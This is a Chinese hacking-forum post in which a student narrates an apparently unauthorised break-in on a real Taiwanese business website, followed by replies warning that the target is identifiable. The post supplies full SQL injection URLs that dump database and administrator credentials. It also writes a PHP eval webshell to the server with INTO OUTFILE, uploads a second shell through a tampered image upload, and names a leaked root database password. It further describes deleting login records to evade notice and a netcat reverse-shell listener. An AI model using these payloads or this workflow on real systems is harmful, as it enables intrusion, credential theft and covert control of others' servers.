九零登录

[【通过】] 一次小小的渗透拿到shell

[复制链接]
发表于 2016-11-11 20:04:44 | 显示全部楼层 |阅读模式
菜鸟的一次小渗透
由于目前还在上大三,课余时间弄一下。虽然我很菜但是我很努力学,如果各位大牛看到请不要嘲笑我,让大家见笑了。
0x01信息收集
用明小子扫描一下后台,看看有没有文件上传的地方
找到注入点,先看一下有几个字段, 46个,真是多啊!
http://www.xxxx.com.tw/roomInfo.php?sn=56e9206b7a7e2151'order by 46 --+
0x02进行注入
然后就可以查看一下用户和数据库名了,竟然是root用户,找到路径就能直接写一句话了,也找到了数据库herzcom_web
http://www.xxxx.com.tw/roomInfo.php?sn=56e9206b7a7e2151'and 0 UNION SELECT1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,database(),20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46--+
继续查看一下表信息,第一个表竟然就是admin,先进去看看
http://www.xxxx.com.tw/roomInfo.php?sn=56e9206b7a7e2151'and 0 UNION SELECT1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46from information_schema.tables where table_schema="herzcom_web" limit0,1--+
果然第一个admin表就是用户表,字段为id username password
继续爆破admin表中信息,找到用户名和密码
http://www.xxxx.com.tw/roomInfo.php?sn=56e9206b7a7e2151'and 0 UNION SELECT1,2,3,username,5,6,7,8,9,10,11,12,13,14,15,16,17,18,password,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46from herzcom_web.admin limit 0,1--+
一直没有找到后台,试试直接上传一句话木马,但是不知道路径,明小子也没有找到后台
扫描的时候,扫到了http://www.xxxx.com.tw/files/,点进去看看,没准能发现信息,返回上一级菜单的时候,发现了报错的地方,觉得是网站地址
6.png
查看网站上传地址
http://www.xxxx.com.tw/roomInfo.php?sn=56e9206b7a7e2151'and  UNION SELECT 1,2,3, (selectloadfile(' /var/www/html/xxxx.com.tw')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46--+
试试上传一句话木马
http://www.xxxx.com.tw/roomInfo.php?sn=56e9206b7a7e2151'  and 0 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,'<?php eval($_POST["123"]);?>',20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46into outfile '/var/www/html/xxxx.com.tw/1.php' --+ 7.png
到上传的地址看了看,上传成功
8.png
第二种方法是用工具扫描到了后台,用户名和密码都是burpsuite爆破,发现用户名密码都是admin
http://www.xxxx.com.tw/siteadmin/
9.png
0x03抓包改包进行上传
找到上传点,为了防止把站里的图片搞坏了,特意下载了原图,在上传原图的基础上,抓包改包,加上一句话
10.png
在文件名前面加阶段,发送成功200,但是没有显示路径
11.png
在网站中查看上传的图片信息,找到图片路径http://www.xxxx.com.tw/img_file
12.png
在路径中,找到了很多图片,以为没有上传成功,发现有一个php格式文件,文件竟然被改名了,也不知道能不能连接
试着用网页连接一下,成功了,离开后台前,删除一下登录记录,不然就被发现了!
13.png
0x04建立连接,查找信息
菜刀连接成功,网站地址的确是在/ver/www/html/xxxx.com.tw中
14.png
查找一下数据库文件
15.png
得到数据库的用户名:root密码:herzkingnet
16.png
连接一下数据库
17.png
18.png
找到了一个版本信息完全吻合的提权方法,连接外网,
建立反弹连接,本地运行nc.exe -l -vv -p 5555复制代码监听5555端口,这步必须做到的是,端口在外网开放,思路很简单,不过我还没有完全掌握。这里就不在献丑了,只是简单的拿shell。P.S.可能也许能用udf提权
总结:
也许是这次运气很好,很快的就找到了突破的点,所以渗透的思路比较简单。总之先找到目标之后扫描获得基础信息,之后找到漏洞或者注入点,能用sql一句话拿就用sql一句话,不能的话就找到后台去上传一句话木马,最后拿到shell。由于刚学习渗透,可能没有亮点,希望给我一个机会在90的大家庭中学习。

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2016-11-11 21:33:09 | 显示全部楼层
你把站暴露了
发表于 2016-11-12 11:01:36 | 显示全部楼层
哥们 你这样不打码 迟早让人爆菊的
发表于 2016-11-13 10:43:47 | 显示全部楼层
基本功还是很扎实的。

不错的思路,不过下次还是注意打码
 楼主| 发表于 2016-11-13 21:16:42 | 显示全部楼层

兄弟 告诉我哪里暴露了啊 我看我打码了呀....
 楼主| 发表于 2016-11-13 21:17:20 | 显示全部楼层
mtjbyddzqfwdyy 发表于 2016-11-13 10:43
基本功还是很扎实的。

不错的思路,不过下次还是注意打码

兄弟告诉我哪里没打. 我看都打了呀,..T T
 楼主| 发表于 2016-11-13 21:17:43 | 显示全部楼层
轩轩爱渗透 发表于 2016-11-12 11:01
哥们 你这样不打码 迟早让人爆菊的

我靠..我不要被爆菊 大兄弟告诉我哪里没打.....:(

发表于 2016-11-13 22:59:18 | 显示全部楼层
Vtogether 发表于 2016-11-13 21:17
我靠..我不要被爆菊 大兄弟告诉我哪里没打.....:(

QQ截图20161113225845.png
发表于 2016-11-14 08:19:30 | 显示全部楼层
Vtogether 发表于 2016-11-13 21:17
兄弟告诉我哪里没打. 我看都打了呀,..T T

1.jpg

搜这个关键字很容易找到目标站。
 楼主| 发表于 2016-11-14 14:54:30 | 显示全部楼层

噢草 我的锅。。。T T这是个美丽的误会。。。
 楼主| 发表于 2016-11-14 14:55:04 | 显示全部楼层
mtjbyddzqfwdyy 发表于 2016-11-14 08:19
搜这个关键字很容易找到目标站。

发现了。。兄弟 这是个意外
发表于 2016-11-27 15:29:44 | 显示全部楼层

九零

GMT+8, 2026-10-22 15:17

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表